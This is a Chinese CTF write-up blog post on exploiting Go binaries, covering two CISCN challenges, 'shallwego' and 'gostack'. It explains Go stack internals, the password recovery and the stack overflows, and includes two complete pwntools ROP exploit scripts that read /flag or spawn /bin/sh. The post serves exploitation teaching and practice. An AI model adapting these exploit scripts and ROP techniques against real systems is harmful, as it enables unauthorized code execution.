gopwn初探

collectcrop Lv3

go pwn的特点

  • Golang 使用了自己的运行时和内存管理机制。Go 的堆栈是可扩展的(split-stack model),即每个 Goroutine 的堆栈大小可以动态扩展。这使得堆栈布局更加复杂,和固定大小的堆栈相比更难预测。
  • 无标准栈帧,也就是不怎么依靠rbp作为栈帧指针(但实际那个位置有时还是维护rbp),通常通过rsp进行局部变量寻址。
  • Go 语言依赖垃圾回收器管理内存,而 C/C++ 依赖程序员手动管理内存。这意味着在 Go 程序中,利用内存分配漏洞(如 UAF 或 double free)时,必须考虑到垃圾回收器的行为。
  • Go 语言的异常处理机制是通过 panicrecover 完成的,而不像 C/C++ 使用 setjmp/longjmp 或 C++ 的异常捕获机制。这导致堆栈结构和控制流的变化更为复杂,特别是在发生 panic 后。在漏洞利用过程中,如果程序进入了 panic 状态,控制流会被重定向,这可能干扰漏洞利用过程。
  • Go 的堆内存管理机制不同于标准的 malloc/free。Go 运行时会使用自己的内存分配器,而不是像传统 C/C++ 程序中依赖系统的 mallocfree。这意味着许多针对 C/C++ 堆的利用技术,如 fastbin attacktcache 等,不适用于 Go 程序。

栈扩展机制

1
2
3
4
5
6
7
8
9
10
11
12
13
14
a:
lea r12, [rsp+var_218]
cmp r12, [r14+10h] //上面两句也有可能是cmp rsp, [r14+10h]这种形式
jbe loc_4C18C0
......
loc_4C18C0:
mov [rsp+arg_0], rax
mov [rsp+arg_8], rbx
mov [rsp+arg_10], rcx
call runtime_morestack_noctxt
mov rax, [rsp+arg_0]
mov rbx, [rsp+arg_8]
mov rcx, [rsp+arg_10]
jmp a

r14+0x10地址处存的就是当前栈段的上限信息,不够时会调用runtime_morestack_noctxt进行扩展。call一个函数时与c同样会把返回地址存到栈上,在栈扩展中也会维护好这个返回地址的位置。而每次栈扩展出的新栈与原来的栈是不连续的,但一个栈段只要大小没有耗尽,也可以存多个函数的栈帧。

可以看到这里的栈实际不在x86_64常使用的栈段中。而且确实会把返回地址压入栈。

传参顺序

传参用到的寄存器依次是:AX,BX,CX,DI,SI,R8,R9,R10,R11

题目分析

[CISCN 2023 初赛]shallwego

先运行一下看看:

发现提供了一个shell窗口,但好像要先对cert进行一些操作。看IDA反汇编结果,其中在main_unk_func0b05有很多可疑的字符串,经整理大概有如下那么多:

1
2
3
4
5
6
7
8
9
nAcDsMicN

echo
exit
cert
cd
cat flag
ls -al
whoami

其中很多都是命令,有一个字符串是在cert命令后检测的。我们通过动态调试能够发现,r8实际存的是命令(不包括操作符)的长度,rbx存的是输入的整个命令被空格分隔的段数。那我们就可以先执行个 cert nAcDsMicN abcdefg 动调看看。

之后会进入 main_unk_func0b01 中,这里实际对我们输入的第三段(其实这里我们已经可以看作大概是cert 用户名 密码这样一个认证过程)进行加密,与一个写死的字符串进行比较,而且rc4加密的密钥也直接写在程序中了。那么我们就可以先将密文base64解码后,把得到的内容当作密码输入进去,然后看rc4加密后的结果,这个结果就是正确的密码了,因为rc4是对称加密算法。最终得到的密码值为S33UAga1n@#!

然后shell提示符就会变成 nightingale# ,之后也可以正常调用其他的设置好的命令,但给的那几个命令都不能直接获取真实flag的值,需要再次寻找漏洞点。经过分析发现别的命令都没什么问题,唯独echo这个命令有两段函数专门处理。并且能打印出我们输入的内容,可以尝试进行栈溢出。

看到这兴奋起来了,因为这里往栈上写了0x75,也就是u,看来是要开始将输入内容存到栈上了。我们的返回地址在0xc00011adc8,而输入从0xc00011ab98开始存,其中间隔了0x230个字节。然后这个循环中实际有cmp dl, '+'这个条件判断,如果满足会直接调回去自增rax,也就是循环中的下标自增,直接跳过了后面往栈上写的部分。

那我们先试试echo 0x230字节的垃圾字符看看。

发现这里最后rdx大于0x200,就直接略过了将值赋值到栈上的操作。说明单次输入不能超过0x200字节,那如果我们在输入中间加入空格呢?

这次成功跳过了大小的检测,再往下执行看看效果。

然后发现直接崩掉了,因为rax是一个下标,所以推断是rbx被更改了以至于赋值失败,那么rbx是在哪里被赋值的呢。实际前面有一句mov rbx, [rsp+298h+var_20],也就是这个rbx基址是存在ret_addr-0x20处的。那我们不能更改这个位置的值,但我们又无法获知这个位置的值,该怎么办呢?很巧的是,程序刚好碰到+会跳过赋值,所以我们可以用8个+来保存rbx。其实也不必那么麻烦,直接全用+填充,最后再覆盖也行。然后就能成功覆盖返回地址,但这里这个填充字符数有点迷,最后我本地动调后填充了0x229个字节后才覆盖到返回地址。

之后是正常的ROP,因为有syscall,就先把/bin/sh读取到一个地方,然后再用execve调用打即可。最后复现时本地能够用execve通,但远程却有问题,只能拿orw打,不知道是为什么。

exp
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
from pwn import *
import base64
context(arch="amd64",log_level="debug")

# 你的 Base64 编码字符串
encoded_str = "JLIX8pbSvYZu/WaG"
# 进行 Base64 解码
decoded_bytes = base64.b64decode(encoded_str)
# 打印解码后的字节字符串
print(decoded_bytes)

p = process('./service')
#p = remote("node4.anna.nssctf.cn",28629)
passwd = b"S33UAga1n@#!"
payload = b"cert nAcDsMicN " + passwd
p.sendlineafter("shell$",payload)
pop_rdi_ret = 0x0000000000444fec
pop_rsi_ret = 0x000000000041e818
pop_rdx_ret = 0x000000000049e11d
pop_rax_ret = 0x000000000040d9e6
syscall = 0x000000000040328c
ret = 0x000000000040103d
main = 0x00000000004C1D60
data = 0x5A34A0
payload = (b"echo ".ljust(0x1f0,b"A") + b" ").ljust(0x229,b"+") + p64(pop_rax_ret) + p64(0) + p64(pop_rdi_ret) + p64(0) + p64(pop_rsi_ret) + p64(data) + p64(pop_rdx_ret) + p64(0x8) + p64(syscall)
payload += p64(pop_rax_ret) + p64(2) + p64(pop_rdi_ret) + p64(data) + p64(pop_rsi_ret) + p64(0) + p64(pop_rdx_ret) + p64(0) + p64(syscall)
payload += p64(pop_rax_ret) + p64(0) + p64(pop_rdi_ret) + p64(3) + p64(pop_rsi_ret) + p64(data) + p64(pop_rdx_ret) + p64(0x40) + p64(syscall)
payload += p64(pop_rax_ret) + p64(1) + p64(pop_rdi_ret) + p64(1) + p64(pop_rsi_ret) + p64(data) + p64(pop_rdx_ret) + p64(0x40) + p64(syscall)
#+ p64(pop_rax_ret) + p64(0x3b) + p64(pop_rdi_ret) + p64(data) + p64(pop_rsi_ret) + p64(0) + p64(pop_rdx_ret) + p64(0) + p64(syscall) + p64(main)

p.sendlineafter("nightingale#",payload)
pause()
p.send("/flag\x00")
p.interactive()

[CISCN 2024 初赛]gostack

先运行一遍找提示字符串,看到调用位置在main_func3,直接gdb打断点进去调试一下。发现输入存在如下位置,但是存在栈上的是指针,没什么用。

之后还会把数据写到栈的另一个地方,这里直接把内容复制到栈上了,并且没有检测加跳转,可能会有溢出。

然后我们再看看程序的其他部分,其中有个main_executeCommand函数引入注目,其中有如下两个子函数:

1
2
3
call    os_exec_Command
...
call os_exec__ptr_Cmd_Run

其中前者用于创建一个 Cmd 对象,后者用于执行真正的命令。

那么我们试试直接填充0x1d0字节,然后把返回地址覆盖为main_executeCommand地址。结果会在最后fmt_Fprintf->fmt__ptr_pp_doPrintf->fmt__ptr_pp_printArg->fmt__ptr_pp_fmtString->fmt__ptr_fmt_fmtS->fmt__ptr_fmt_padString->runtime_growslice这个调用链然后gopanic退出,其提示信息为"growslice: cap out of rangeinternal loc"...,也就是说Go 语言在处理切片(slice)扩容时,发生容量超出合理范围时的一个运行时错误。

1
2
3
4
5
6
7
8
9
10
11
0x449852    mov    rdi, rsi                        RDI => 0x4141414141414155 ('UAAAAAAA')
......
0x449939 movabs r8, 0x1000000000000 R8 => 0x1000000000000
0x449943 cmp rsi, r8 0x4141414141414155 - 0x1000000000000 EFLAGS => 0x206 [ cf PF af zf sf IF df of ]
0x449946 seta r9b
0x44994a mov rsi, rcx RSI => 0x14
0x44994d mov r10, rdx R10 => 0x4141414141416000
0x449950 jmp 0x449c69 <0x449c69>

0x449c69 test r9b, r9b 1 & 1 EFLAGS => 0x202 [ cf pf af zf sf IF df of ]
0x449c6c ✔ jne 0x449d4d <0x449d4d>

我们稍微往前看就可以发现这里rsi和r8的比较实际上应该就是判断切片大小,而存大小的位置被我们覆盖成为了一堆A。也就是说我们破坏了fmt_Fprintf的一些参数。那我们就打断点在这个函数处看看哪些参数被覆盖成了一堆A。rdx很可疑。但前面调用runtime_convTstring后就没有动过rdx了,这个runtime_convTstring函数也比较短,可以跟进去看看。

其中唯一修改了rdx的是这一句,这个函数的栈帧在一开始 sub rsp, 20h 扩充的空间,这里是把rsp+0x30处的内容复制过来,而rsp+0x30处内容前面有 mov qword ptr [rsp + 0x30], rbx 的修改,而我们进这个函数前rbx就已经是0x4141414141414141了,还要往前追溯。发现前面刚好有个 mov rbx, [rsp+208h+var_C8] ,也就是说我们不能把这个位置的数值覆盖掉。经过进一步用正常数值调试发现,这个位置存的其实就是我们输入的大小。那么我们可以试试先填充0x108个垃圾字符,然后输入大小,之后再正常填充。

前面的判断绕过了,但在fmt函数中还是崩,但这次是rcx的问题。往前找找,发现是这个runtime_memmove函数的第二个参数源地址被覆盖掉了。

我们直接把前面要填充的垃圾字符都换成一个可写的地址试试,成功绕过了这个死亡之call,也算是成功地绕过了所有阻碍,终于能劫持控制流返回了(这写了个0x4a0120覆盖返回地址进行测试)。

后面就可以直接ret2syscall了,这里我本来还想靠os_exec_Command玩一下,但还是要先靠read把/bin/sh读到一个地方,不如直接调用execve。需要注意的是这个syscall会后面带着改栈上的内容,如下图这样rop链就会被打断,需要绕一下。

exp
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
from pwn import *
context(arch="amd64",log_level="debug")

p = process("./gostack")
bss_add = 0x00000000005633C0
syscall = 0x0000000000404043
pop_rdi_5reg_ret = 0x00000000004a18a5
pop_rsi_ret = 0x000000000042138a
pop_rdx_ret = 0x00000000004944ec
pop_rax_ret = 0x000000000040f984
rop = p64(pop_rdi_5reg_ret) + p64(0)*6 + p64(pop_rsi_ret) + p64(bss_add) + p64(pop_rdx_ret) + p64(0x8) + p64(pop_rax_ret) + p64(0) + p64(syscall)
rop += (p64(pop_rdi_5reg_ret) + p64(bss_add)*6)*3 + p64(pop_rsi_ret) + p64(0) + p64(pop_rdx_ret) + p64(0) + p64(pop_rax_ret) + p64(0x3b) + p64(syscall)

payload = (p64(bss_add)*33 + p64(0x1d8))+(p64(bss_add)*24) + rop
log.success(hex(len(payload)))
gdb.attach(p)
pause()
p.sendlineafter("Input your magic message :",payload)
p.sendline("/bin/sh\x00")
p.interactive()
  • 标题: gopwn初探
  • 作者: collectcrop
  • 创建于 : 2024-09-22 20:22:00
  • 更新于 : 2024-09-22 20:35:28
  • 链接: https://collectcrop.github.io/2024/09/22/go-pwn/
  • 版权声明: 本文章采用 CC BY-NC-SA 4.0 进行许可。